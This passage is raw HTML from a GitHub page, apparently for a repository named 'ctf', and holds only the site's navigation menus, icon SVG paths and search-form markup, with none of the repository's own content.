0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="54097741" data-scoped-search-url="/sea0breeze/ctf/search" data-owner-scoped-search-url="/users/sea0breeze/search" data-unscoped-search-url="/search" data-turbo="false" action="/sea0breeze/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="cGbZYafroFDIDDK+CWFfAtPBjbLJnxdFJKIWD6lSSycTOelpVSfGhE+qX8Lr2Yl7T8cRe+AVLbFbyx7Sy/T0zA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 